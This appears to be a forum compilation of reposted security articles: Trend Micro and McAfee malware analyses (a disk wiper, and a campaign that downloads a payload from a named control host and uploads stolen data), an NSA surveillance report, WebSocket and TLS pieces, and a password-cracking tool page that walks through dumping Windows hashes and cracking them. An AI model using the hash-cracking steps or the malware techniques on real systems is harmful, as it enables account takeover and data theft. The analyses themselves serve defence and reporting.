Nytro

An Analysis of the “Destructive” Malware Behind FBI Warnings 4:06 pm (UTC-7) | by Trend Micro TrendLabs engineers were recently able to obtain a malware sample of the “destructive malware” described in reports about the Federal Bureau of Investigation (FBI) warning to U.S. businesses last December 2. According to Reuters, the FBI issued a warning to businesses to remain vigilant against this new “destructive” malware in the wake of the recent Sony Pictures attack. As of this writing, the link between the Sony breach and the malware mentioned by the FBI has yet to be verified. The FBI flash memo titled “#A-000044-mw” describes an overview of the malware behavior, which reportedly has the capability to override all data on hard drives of computers, including the master boot record, which prevents them from booting up. Below is an analysis of our own findings: Analysis of the BKDR_WIPALL Malware Our detection for the malware detailed in the FBI report is BKDR_WIPALL. Below is a quick overview of the infection chain for this attack. The main installer here is diskpartmg16.exe (detected as BKDR_WIPALL.A). BKDR_WIPALL.A’s overlay is encrypted with a set of user names and passwords as seen in the screenshot below: Figure 1. BKDR_WIPALL.A’s overlay contains encrypted user names and passwords These user names and passwords are found to be encrypted by XOR 0x67 in the overlay of the malware sample and are then used to log into the shared network. . Once logged in, the malware attempts to grant full access to everyone that will access the system root. Figure 2. Code snippet of the malware logging into the network The dropped net_var.dat contains a list of targeted hostnames: Figure 3. Targeted host names The next related malware is igfxtrayex.exe (detected as BKDR_WIPALL., which is dropped by BKDR_WIPALL.A. It sleeps for 10 minutes (or 600,000 milliseconds as seen below) before it carries out its actual malware routines: Figure 4. BKDR_WIPALL.B (igfxtrayex.exe) sleeps for 10 minutes Figure 5. Encrypted list of usernames and passwords also present in BKDR_WIPALL.B Figure 6. Code snippet of the main routine of igfxtrayex.exe (BKDR_WIPALL. This malware’s routines, aside from deleting users’ files, include stopping the Microsoft Exchange Information Store service. After it does this, the malware sleeps for another two hours. It then forces the system to reboot. Figure 7. Code snippet of the force reboot It also executes several copies of itself named taskhost{random 2 characters}.exe with the following parameters: taskhost{random 2 characters}.exe -w – to drop and execute the component Windows\iissvr.exe taskhost{random 2 characters}.exe -m – to drop and execute Windows\Temp\usbdrv32.sys taskhost{random 2 characters}.exe -d – to delete files in all fixed or remote (network) drives Figure 8. The malware deletes all the files (format *.*) in fixed and network drives The malware components are encrypted and stored in the resource below: Figure 9. BKDR_WIPALL.B malware components Additionally, BKDR_WIPALL.B accesses the physical drive that it attempts to overwrite: Figure 10. BKDR_WIPALL.B overwrites physical drives We will be updating this post with our additional analysis of the WIPALL malware. Analysis by Rhena Inocencio and Alvin Bacani Update as of December 3, 2014, 5:30 PM PST Upon analysis of the same WIPALL malware family, its variant BKDR_WIPALL.D drops BKDR_WIPALL.C, which in turn, drops the file walls.bmp in the Windows directory. The .BMP file is as pictured below: Figure 11. Dropped wallpaper This appears to be the same wallpaper described in reports about the recent Sony hack last November 24 bearing the phrase “hacked by #GOP.” Therefore we have reason to believe that this is the same malware used in the recent attack to Sony Pictures. Note that BKDR_WIPALL.C is also the dropped named as igfxtrayex.exe in the same directory of BKDR_WIPALL.D. We will update this blog entry for more developments. Additional analysis by Joie Salvio Sursa: An Analysis of the "Destructive" Malware Behind FBI Warnings

How the NSA Hacks Cellphone Networks Worldwide By Ryan Gallagher @rj_gallagher In March 2011, two weeks before the Western intervention in Libya, a secret message was delivered to the National Security Agency. An intelligence unit within the U.S. military’s Africa Command needed help to hack into Libya’s cellphone networks and monitor text messages. For the NSA, the task was easy. The agency had already obtained technical information about the cellphone carriers’ internal systems by spying on documents sent among company employees, and these details would provide the perfect blueprint to help the military break into the networks. The NSA’s assistance in the Libya operation, however, was not an isolated case. It was part of a much larger surveillance program—global in its scope and ramifications—targeted not just at hostile countries. According to documents contained in the archive of material provided to The Intercept by whistleblower Edward Snowden, the NSA has spied on hundreds of companies and organizations internationally, including in countries closely allied to the United States, in an effort to find security weaknesses in cellphone technology that it can exploit for surveillance. The documents also reveal how the NSA plans to secretly introduce new flaws into communication systems so that they can be tapped into—a controversial tactic that security experts say could be exposing the general population to criminal hackers. Codenamed AURORAGOLD, the covert operation has monitored the content of messages sent and received by more than 1,200 email accounts associated with major cellphone network operators, intercepting confidential company planning papers that help the NSA hack into phone networks. One high-profile surveillance target is the GSM Association, an influential U.K.-headquartered trade group that works closely with large U.S.-based firms including Microsoft, Facebook, AT&T, and Cisco, and is currently being funded by the U.S. government to develop privacy-enhancing technologies. Karsten Nohl, a leading cellphone security expert and cryptographer who was consulted by The Intercept about details contained in the AURORAGOLD documents, said that the broad scope of information swept up in the operation appears aimed at ensuring virtually every cellphone network in the world is NSA accessible. The operation appears aimed at ensuring virtually every cellphone network in the world is NSA accessible. “Collecting an inventory [like this] on world networks has big ramifications,” Nohl said, because it allows the NSA to track and circumvent upgrades in encryption technology used by cellphone companies to shield calls and texts from eavesdropping. Evidence that the agency has deliberately plotted to weaken the security of communication infrastructure, he added, was particularly alarming. “Even if you love the NSA and you say you have nothing to hide, you should be against a policy that introduces security vulnerabilities,” Nohl said, “because once NSA introduces a weakness, a vulnerability, it’s not only the NSA that can exploit it.” NSA spokeswoman Vanee’ Vines told The Intercept in a statement that the agency “works to identify and report on the communications of valid foreign targets” to anticipate threats to the United States and its allies. Vines said: “NSA collects only those communications that it is authorized by law to collect in response to valid foreign intelligence and counterintelligence requirements—regardless of the technical means used by foreign targets, or the means by which those targets attempt to hide their communications.” Network coverage The AURORAGOLD operation is carried out by specialist NSA surveillance units whose existence has not been publicly disclosed: the Wireless Portfolio Management Office, which defines and carries out the NSA’s strategy for exploiting wireless communications, and the Target Technology Trends Center, which monitors the development of new communication technology to ensure that the NSA isn’t blindsided by innovations that could evade its surveillance reach. The center’s logo is a picture of the Earth overshadowed by a large telescope; its motto is “Predict – Plan – Prevent.” The NSA documents reveal that, as of May 2012, the agency had collected technical information on about 70 percent of cellphone networks worldwide—701 of an estimated 985—and was maintaining a list of 1,201 email “selectors” used to intercept internal company details from employees. (“Selector” is an agency term for a unique identifier like an email address or phone number.) From November 2011 to April 2012, between 363 and 1,354 selectors were “tasked” by the NSA for surveillance each month as part of AURORAGOLD, according to the documents. The secret operation appears to have been active since at least 2010. The information collected from the companies is passed onto NSA “signals development” teams that focus on infiltrating communication networks. It is also shared with other U.S. Intelligence Community agencies and with the NSA’s counterparts in countries that are part of the so-called “Five Eyes” surveillance alliance—the United Kingdom, Canada, Australia, and New Zealand. Aside from mentions of a handful of operators in Libya, China, and Iran, names of the targeted companies are not disclosed in the NSA’s documents. However, a top-secret world map featured in a June 2012 presentation on AURORAGOLD suggests that the NSA has some degree of “network coverage” in almost all countries on every continent, including in the United States and in closely allied countries such as the United Kingdom, Australia, New Zealand, Germany, and France. One of the prime targets monitored under the AURORAGOLD program is the London-headquartered trade group, the GSM Association, or the GSMA, which represents the interests of more than 800 major cellphone, software, and internet companies from 220 countries. The GSMA’s members include U.S.-based companies such as Verizon, AT&T, Sprint, Microsoft, Facebook, Intel, Cisco, and Oracle, as well as large international firms including Sony, Nokia, Samsung, Ericsson, and Vodafone. The trade organization brings together its members for regular meetings at which new technologies and policies are discussed among various “working groups.” The Snowden files reveal that the NSA specifically targeted the GSMA’s working groups for surveillance. Claire Cranton, a spokeswoman for the GSMA, said that the group would not respond to details uncovered by The Intercept until its lawyers had studied the documents related to the spying. “If there is something there that is illegal then they will take it up with the police,” Cranton said. By covertly monitoring GSMA working groups in a bid to identify and exploit security vulnerabilities, the NSA has placed itself into direct conflict with the mission of the National Institute for Standards and Technology, or NIST, the U.S. government agency responsible for recommending cybersecurity standards in the United States. NIST recently handed out a grant of more than $800,000 to GSMA so that the organization could research ways to address “security and privacy challenges” faced by users of mobile devices. The revelation that the trade group has been targeted for surveillance may reignite deep-seated tensions between NIST and NSA that came to the fore following earlier Snowden disclosures. Last year, NIST was forced to urge people not to use an encryption standard it had previously approved after it emerged NSA had apparently covertly worked to deliberately weaken it. Jennifer Huergo, a NIST spokewoman, told The Intercept that the agency was “not aware of any activities by NSA related to the GSMA.” Huergo said that NIST would continue to work towards “bringing industry together with privacy and consumer advocates to jointly create a robust marketplace of more secure, easy-to-use, privacy-enhancing solutions.” GSMA headquarters in London (left) Encryption attack The NSA focuses on intercepting obscure but important technical documents circulated among the GSMA’s members known as “IR.21s.” Most cellphone network operators share IR.21 documents among each other as part of agreements that allow their customers to connect to foreign networks when they are “roaming” overseas on a vacation or a business trip. An IR.21, according to the NSA documents, contains information “necessary for targeting and exploitation.” The details in the IR.21s serve as a “warning mechanism” that flag new technology used by network operators, the NSA’s documents state. This allows the agency to identify security vulnerabilities in the latest communication systems that can be exploited, and helps efforts to introduce new vulnerabilities “where they do not yet exist.” The IR.21s also contain details about the encryption used by cellphone companies to protect the privacy of their customers’ communications as they are transmitted across networks. These details are highly sought after by the NSA, as they can aid its efforts to crack the encryption and eavesdrop on conversations. Last year, the Washington Post reported that the NSA had already managed to break the most commonly used cellphone encryption algorithm in the world, known as A5/1. But the information collected under AURORAGOLD allows the agency to focus on circumventing newer and stronger versions of A5 cellphone encryption, such as A5/3. The documents note that the agency intercepts information from cellphone operators about “the type of A5 cipher algorithm version” they use, and monitors the development of new algorithms in order to find ways to bypass the encryption. In 2009, the British surveillance agency Government Communications Headquarters conducted a similar effort to subvert phone encryption under a project called OPULENT PUP, using powerful computers to perform a “crypt attack” to penetrate the A5/3 algorithm, secret memos reveal. By 2011, GCHQ was collaborating with the NSA on another operation, called WOLFRAMITE, to attack A5/3 encryption. (GCHQ declined to comment for this story, other than to say that it operates within legal parameters.) The extensive attempts to attack cellphone encryption have been replicated across the Five Eyes surveillance alliance. Australia’s top spy agency, for instance, infiltrated an Indonesian cellphone company and stole nearly 1.8 million encryption keys used to protect communications, the New York Times reported in February. Click to enlarge. The NSA’s documents show that it focuses on collecting details about virtually all technical standards used by cellphone operators, and the agency’s efforts to stay ahead of the technology curve occasionally yield significant results. In early 2010, for instance, its operatives had already found ways to penetrate a variant of the newest “fourth generation” smartphone-era technology for surveillance, years before it became widely adopted by millions of people in dozens of countries. The NSA says that its efforts are targeted at terrorists, weapons proliferators, and other foreign targets, not “ordinary people.” But the methods used by the agency and its partners to gain access to cellphone communications risk significant blowback. According to Mikko Hypponen, a security expert at Finland-based F-Secure, criminal hackers and foreign government adversaries could be among the inadvertent beneficiaries of any security vulnerabilities or encryption weaknesses inserted by the NSA into communication systems using data collected by the AURORAGOLD project. “If there are vulnerabilities on those systems known to the NSA that are not being patched on purpose, it’s quite likely they are being misused by completely other kinds of attackers,” said Hypponen. “When they start to introduce new vulnerabilities, it affects everybody who uses that technology; it makes all of us less secure.” “It affects everybody who uses that technology; it makes all of us less secure.” In December, a surveillance review panel convened by President Obama concluded that the NSA should not “in any way subvert, undermine, weaken, or make vulnerable generally available commercial software.” The panel also recommended that the NSA should notify companies if it discovers previously unknown security vulnerabilities in their software or systems—known as “zero days” because developers have been given zero days to fix them—except in rare cases involving “high priority intelligence collection.” In April, White House officials confirmed that Obama had ordered NSA to disclose vulnerabilities it finds, though qualified that with a loophole allowing the flaws to be secretly exploited so long as there is deemed to be “a clear national security or law enforcement” use. Vines, the NSA spokeswoman, told The Intercept that the agency was committed to ensuring an “open, interoperable, and secure global internet.” “NSA deeply values these principles and takes great care to honor them in the performance of its lawful foreign-intelligence mission,” Vines said. She declined to discuss the tactics used as part of AURORAGOLD, or comment on whether the operation remains active. ——— Documents published with this article: AURORAGOLD – Project Overview AURORAGOLD Working Group IR.21 – A Technology Warning Mechanism AURORAGOLD – Target Technology Trends Center support to WPMO NSA First-Ever Collect of High-Interest 4G Cellular Signal AURORAGOLD Working Aid WOLFRAMITE Encryption Attack OPULENT PUP Encryption Attack NSA/GCHQ/CSEC Network Tradecraft Advancement Team ——— Photo: Cell tower: Justin Sullivan/Getty Images; GSMA headquarters: Google Maps Sursa: https://firstlook.org/theintercept/2014/12/04/nsa-auroragold-hack-cellphones/

WebSocket Security Issues Overview In this article, we will dive into the concept of WebSocket introduced in HTML 5, security issues around the WebSocket model, and the best practices that should be adopted to address security issues around WebSocket. Before going straight to security, let’s refresh our concepts on WebSocket. Why Websocket and Not HTTP? In older times, the client server model was built with client requests the server for a resource. The Web was built for this kind of model, and HTTP was sufficient to handle these requests. However, with new advancements of technologies, needs of online gaming and real time applications have marked the need of a protocol that could provide a bidirectional connection between client and server to allow live streaming. Web applications have grown up a lot, and are now consuming more data than ever before. The biggest thing holding them back was the traditional HTTP model of client initiated transactions. To overcome this, a number of different strategies were devised to allow servers to push data to the client. One of the most popular of these strategies was long-polling. This involves keeping an HTTP connection open until the server has some data to push down to the client. The problem with all of these solutions is that they carry the overhead of HTTP. Every time you make an HTTP request, a bunch of headers and cookie data are transferred to the server. Initially HTTP was thought to be modified to create a bidirectional channel between client and server, but this model could not sustain because of the HTTP overhead and would certainly introduce latency. But in real time applications, especially gaming applications, latency cannot be afforded. Because of this shortcoming of HTTP, a new protocol known as WebSocket, which runs over the same TCP/IP model, was designed. How WebSockets Work WebSockets provide a persistent connection between client and server that both parties can use to start data at any time. The connection is initiated from client through a WebSocket handshake. This happens over a normal HTTP request packet with an “Upgrade” header. A sample connection is shown below: Later, if the server supports the WebSocket connections, then the server responds with an “Upgrade” header in the response. Sample is below: After an exchange of these request and response messages, a persistent WebSocket connection is established between a client and a server. WebSockets can transfer as much data as you like without incurring the overhead associated with traditional HTTP requests. Data is transferred through a WebSocket as messages, each of which consists of one or more frames containing the data you are sending (the payload). In order to ensure the message can be properly reconstructed when it reaches the client, each frame is prefixed with 4-12 bytes of data about the payload. Using this frame-based messaging system helps to reduce the amount of non-payload data that is transferred, leading to significant reductions in latency. Note: the “Upgrade” header tells the server that the client wants to initiate a WebSocket connection. WebSocket Security Issues WebSocket has some inherent security issues. Some of them are listed below: Open to DOS attack: WebSocket allows unlimited number of connections to the target server and thus resources on the server can be exhausted because of DOS attack. The WebSocket protocol does not give any particular way to allow a server to authenticate the clients during the handshake process. WebSocket has to take forward only the mechanism available to normal HTTP connections such as cookies, HTTP authentication or TLS authentication. It has been seen that during the upgrade handshake from HTTP to WebSocket (WS), HTTP sends all the authentication information to WS. This attack has been termed as Cross Site WebSocket Hijacking (CSWSH). WebSockets can be used over unencrypted TCP channels, which can lead to major flaws such as those listed in OWASP Top 10 A6-Sensitive Data Exposure. WebSockets are vulnerable to malicious input data attacks, therefore leading to attacks like Cross Site Scripting (XSS). The WebSocket protocol implements data masking which is present to prevent proxy cache poisoning. But it has a dark side: masking inhibits security tools from identifying patterns in the traffic. Products such as Data Loss Prevention (DLP) software and firewalls are typically not aware of WebSockets, so they can’t do data analysis on WebSocket traffic, and therefore can’t identify malware, malicious JavaScript and data leakage in WebSocket traffic. The Websocket protocol doesn’t handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred. It’s relatively easy to tunnel arbitrary TCP services through a WebSocket, for example, tunnel a database connection directly through to the browser. This is of high risk, as it would enable access to services to an in-browser attacker in the case of a Cross Site Scripting attack, thus allowing an escalation of a XSS attack into a complete remote breach. Recommendations around WebSockets Security flaws Below are the recommendations / best practices around the security flaws listed above: The WebSocket standard defines an Origin header field which Web browsers set to the URL that originates a WebSocket request. This can be used to differentiate between WebSocket connections from different hosts, or between those made from a browser and some other kind of network client. However, the Origin header is essentially advisory: non-browser clients can easily set the Origin header to any value, and thus “pretend” to be a browser. Origin headers are roughly analogous to the X-Requested-With header used by AJAX requests. Web browsers send a header of X-Requested-With: XMLHttpRequest which can be used to distinguish between AJAX requests made by a browser and those made directly. However, this header is easily set by non-browser clients, and thus isn’t trusted as a source of authentication. Use session-individual random tokens (like CSRF-Tokens) on the handshake request and verify them on the server. Websockets must be configured to use secure TCP channel. URI with syntax wss:// illustrates the usage of secure Websocket connection. Any data from untrusted sources must not be trusted. All input must be sanitized before it goes in the execution context. You should apply equal suspicion to data returned from the server as well. Always process messages received on the client side as data. Don’t try to assign them directly to the DOM, nor evaluate as code. If the response is JSON, always use JSON.parse() to safely parse the data. Avoid tunneling if at all possible, instead developing more secured and checked protocols on top of WebSockets. References https://devcenter.heroku.com/articles/websocket-security An Introduction to WebSockets | Treehouse Blog By Lohit Mehta|December 4th, 2014 Sursa: WebSocket Security Issues - InfoSec Institute

New TLS/SSL Version Ready In 2015 Kelly Jackson Higgins One of the first steps in making encryption the norm across the Net is an update to the protocol itself and a set of best-practices for using encryption in applications.The Internet's standards body next year will release the newest version of the Transport Layer Security (TLS) protocol, which, among other things, aims to reduce the chance of implementation errors that have plagued the encryption space over the past year. The more streamlined Version 1.3 of TLS (TLS is the newest generation of its better known predecessor, SSL) trims out unnecessary features and functions that ultimately could lead to buggy code. The goal is a streamlined yet strong encryption protocol that's easier to implement and less likely to leave the door open to implementation flaws. "Having options in there that are a smoking gun and one developer gets wrong… could lead to a huge security problem," Russ Housley, chair of the Internet Architecture Board (IAB), says of the problem that TLS 1.3 aims to solve. That's the kind of scenario that led to the Heartbleed bug in the OpenSSL implementation of the encryption protocol. Heartbleed came out of an error in OpenSSL's deployment of the "heartbeat" extension in TLS. The bug, if exploited, could allow an attacker to leak the contents of the memory from the server to the client and vice versa. That could leave passwords and even the SSL server's private key potentially exposed in an attack. [The era of encrypted communications may have finally arrived. Internet Architecture Board chairman Russ Housley explains what the IAB's game-changing statement about encryption means for the future of the Net: Q&A: Internet Encryption As The New Normal.] Aside from the updated TLS protocol, the Internet Engineering Task Force (IETF), which crafts the protocols, also is looking at how to better deploy encryption in applications. The IETF's Using TLS in Applications (UTA) working group will offer best-practices for using TLS in applications, as well as guidance on how certain applications should use the encryption protocol, which also will promote interoperability among encrypted systems. Pete Resnick, the IETF's applications area director, says among the best-practices are the use of the latest crypto algorithms and avoiding the use of weak (or no) encryption, as well as eliminating the use of older TLS/SSL versions. "This will end up making things more secure in the long run by providing common guidelines across implementations," he says. UTA also is working on guidance for using TLS with the instant messaging protocol XMPP (a.k.a. Jabber) and also using TLS with email client protocols POP, IMAP, and SMTP Submission. The goal is to make encryption more interoperable among messaging servers to help propel the use of encrypted communications, according to Resnick. Kelly Jackson Higgins is Executive Editor at DarkReading.com... Sursa: New TLS/SSL Version Ready In 2015

[TABLE=align: left] [TR] [TD][TABLE=width: 100%] [TR] [TD]Windows Password Kracker is a free software to recover the lost or forgotten Windows password. It can quickly recover the original windows password from either LM (LAN Manager) or NTLM (NT LAN Manager) Hash.[/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Windows encrypts the login password using LM or NTLM hash algorithm. Since these are one way hash algorithms we cannot directly decrypt the hash to get back the original password. In such cases 'Windows Password Kracker' can help in recovering the windows password using the simple dictionary crack method. Before that you need to dump the password hashes from live or remote windows system using pwdump tool (more details below). Then feed the hash (LM/NTLM) for the corresponding user into 'Windows Password Kracker' to recover the password for that user. In forensic scenarios, investigator can dump the hashes from the live/offline system and then crack it using 'Windows Password Kracker' to recover the original password. This is very crucial as such a password can then be used to decrypt stored credentials as well as encrypted volumes on that system. 'Windows Password Kracker' uses simple & quicker Dictionary based password recovery technique. By default it comes with sample password file. However you can find good collection of password dictionaries (also called wordlist) here & here. Though it supports only Dictionary Crack method, you can easily use tools like Crunch, Cupp to generate brute-force based or any custom password list file and then use it with 'Windows Password Kracker'. It works on both 32 bit & 64 bit windows systems starting from Windows XP to Windows 8.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Features[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Free tool to quickly recover the Windows login password. Supports Windows password recovery from both LM & NTLM Hash. Uses simple dictionary crack method. Displays detailed statistics during Cracking operation Stop the password cracking operation any time. Very easy to use with cool GUI interface. Generate Windows Password Recovery report in HTML/XML/TEXT format. Includes Installer for local Installation & Uninstallation. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Installation & Un-installation[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Windows Password Kracker comes with Installer to help in local installation & un-installation. This installer has intuitive wizard which guides you through series of steps in completion of installation.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]At any point of time, you can uninstall the product using the Uninstaller located at following location (by default)[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_code][Windows 32 bit] C:\Program Files\SecurityXploded\WindowsPasswordKracker [Windows 64 bit] C:\Program Files (x86)\SecurityXploded\WindowsPasswordKracker[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] How to Dump LM/NTLM Hash & Crack it?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] 'Windows Password Kracker' is very easy to use tool for any generation of users. Here are simple steps[/TD] [/TR] [TR] [TD] Install 'Windows Password Kracker' on any system (preferably faster high end systems). Use pwdump tool ( ) to recover the password hashes from live or offline windows system. Sample output will be as shown below [/TD] [/TR] [TR] [TD=class: page_code] Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC::: ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529::: Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: Test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Each dumped user account is in following format[/TD] [/TR] [TR] [TD=class: page_code] Username : User ID : LM hash : NTLM Hash :::[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]On newer operating systems (such as vista, win7 etc) LM hash will be absent as it is disabled by default.[/TD] [/TR] [TR] [TD] Once you get the password hash, you can copy either LM (preferred) or NTLM hash onto 'Windows Password Kracker'. Then select the type of hash as LM or NTLM from the drop down box. Next select the password dictionary file by clicking on Browse button or simply drag & drop it. You can find a sample dictionary file in the installed location. Finally click on 'Start Crack' to start the Windows Password recovery. During the operation, you will see all statistics being displayed on the screen. Message box will be displayed on success. At the end, you can generate detailed report in HTML/XML/Text format by clicking on 'Report' button and then select the type of file from the drop down box of 'Save File Dialog'. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD]Screenshot 1: Windows Password Kracker is showing the recovered Password from NTLM hash.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 2: Detailed Windows Password Recovery report generated by Windows Password Kracker[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Test Results[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] WindowsPasswordKracker is successfully tested on Windows XP to latest operating system, Windows 8. It can recover the hash password successfully for LM /NTLM hash value.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Disclaimer[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] 'Windows Password Kracker' is designed with good intention to recover the Lost Windows Password. Like any other tool its use either good or bad, depends upon the user who uses it. However neither author nor SecurityXploded is in anyway responsible for damages or impact caused due to misuse of WindowsPasswordKracker. Read our complete 'License & Disclaimer' policy here.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 2.6: 3rd Dec 2014[/TD] [/TR] [TR] [TD]Removed false positive with various Antivirus solutions[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.5: 31st Mar 2014[/TD] [/TR] [TR] [TD]Improved GUI interface with magnifying icon effects and about dialog changes.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.0: 21st Feb 2013[/TD] [/TR] [TR] [TD]Quick help link on dumping LM/NTLM hash from system and cracking it. Fix for screen refresh problem and few UI improvements.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.5: 28th Oct 2012[/TD] [/TR] [TR] [TD]Added support to automatically remember and restore user settings.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.0: 3rd Aug 2012[/TD] [/TR] [TR] [TD]First public release of Windows Password Kracker.[/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download Windows Password Kracker v2.6 License : Freeware Platform : Windows XP, 2003, Vista, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD]Sursa: Windows Password Kracker : Free Windows Password Recovery Software.[/TD] [/TR] [/TABLE]

[h=2].: XNTSV:. [/h] XNTSV is a utility that displays detailed information about Windows system structurs. Download XNTSV(32 bit) ver. 1.8 (OS Windows) Download XNTSV(64 bit) ver. 1.8 (OS Windows) XNTSV is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

[h=2].: PDBRipper:. [/h] PDBRipper is a utility for extract a information from PDB-files. PDPRipper can extract: Enumerations User define types(structures, unions ...) Type defines Download PDBRipper ver. 1.12 (OS Windows) PDBRipper is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

.: Detect It Easy:. Detect It Easy is a packer identifier Download DIE ver. 0.93 (Mac OS X) Download DIE ver. 0.93 (Windows) Download DIE ver. 0.93 (Linux Ubuntu 32-bit(x86)) Download DIE ver. 0.93 (Linux Ubuntu 64-bit(x64)) For other Linux you can try to compile DIE from the sources. Download DIE DLL (Windows) Download DieSort (Windows) Plugin for HIEW (author exet0l) more info Plugin for CFF Explorer(32 bits only!)(author exet0l) more info GITHUB signatures GITHUB engine Executable Image Viewer (This program uses DIE DLL) more info(EN,PL) Detect It Easy is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

Behavior Analysis Stops Romanian Data-Stealing Campaign By Ankit Anubhav , Christiaan Beek on Dec 03, 2014 In a recent press announcement, McAfee and Europol’s European Cyber Centre announced a cooperation of our talents to fight cybercrime. In general these joint operations are related to large malware families. Writing or spreading malware, even in small campaigns, is a crime. McAfee Labs doesn’t hesitate to reach out to its partners and contacts in CERTs and law enforcement. In the following case, a new Romanian-based data-stealing campaign was caught early due to behavioral and data analytics. In our sample behavioral database, we found a new site hxxp://virus-generator.hi2.ro. Visiting the link revealed an open directory that allowed us to browse the content: Often we observe that malware authors become overzealous in attacking victims, and forget to protect their own malware servers. Despite this campaign’s effectiveness, the malware authors took very little care to ensure that they themselves were not breached. The binaries, which help us to understand how this campaign works, are injector.exe and blurmotion.exe. As the name suggests, injector.exe compromise the victim’s system via code injection in Internet Explorer. It first disables the firewall to ensure a smooth connection to the malware control server. With the help of the mget command, the malware connects control site and downloads the payload blurmotion.exe. The fact that the malware site doesn’t use any authentication makes sense because it leads to a swift connection between the victim and the attacker. Once the payload is downloaded, the batch file root.vbs takes over. This batch file is dropped by injector.exe and ensures that blurmotion.exe is executed. We see the use of wscript.sleep 30000, which makes sure no activity happens for 5 minutes. This could be an attempt to deceive malware analyzers that the sample won’t do anything. Necessary run entries make sure root.vbs runs. After that a misspelled “restartt” is forced. After this step, the system goes into a forced restart, and by this time the work of injector.exe (to download and install the payload) is done. From here the payload takes over. Blurmotion.exe, like its parent, drops a batch file to perform malicious activities. Blurmotion takes the username of the victim and dumps all the processes running in the victim’s system with the name %usename%.ini. Once the stolen data is logged, the malware uploads it to the control server via the mput command. We can see “echo cd BM” used in commands. This is the same BM folder on the malware control server that stores the logs of all victims. Like the payload, this stolen data is exposed to anyone who finds the malware control server. Our test virtual machine “victim” was named Klone, and we found it quickly uploaded on the control server. The size of Klone.ini is zero because we had reverted to the virtual machine before the malware could steal data. In all the other infected user logs, we can see the malware executable blurmotion.exe running, confirming that those systems had been compromised. We can also see repeated connections made to a specific site (mygarage.ro), possibly an attempt to increase its traffic. The author is so aggressive that he or she even tried to overclock the CPU to bring more traffic to this site. The author succeeded in these attempts. In our internal behavioral database we found a lot of redirects to this site. McAfee detects these payloads as Rodast. McAfee SiteAdvisor also warns against connecting to this site: Because the campaign was based in Romania, McAfee Labs contacted the Romanian CERT. After we discussed the approach and strategy with them, the Romanian team took the appropriate actions, and gave us permission to publish our analysis of the campaign in this article. Malware authors sometimes act carelessly, and assume that they are safe if no one detects them. But data from behavioral analysis, along with cooperation with CERTs and law enforcement, can find live campaigns and stop them. Sursa: Behavior Analysis Stops Romanian Data-Stealing Campaign | McAfee

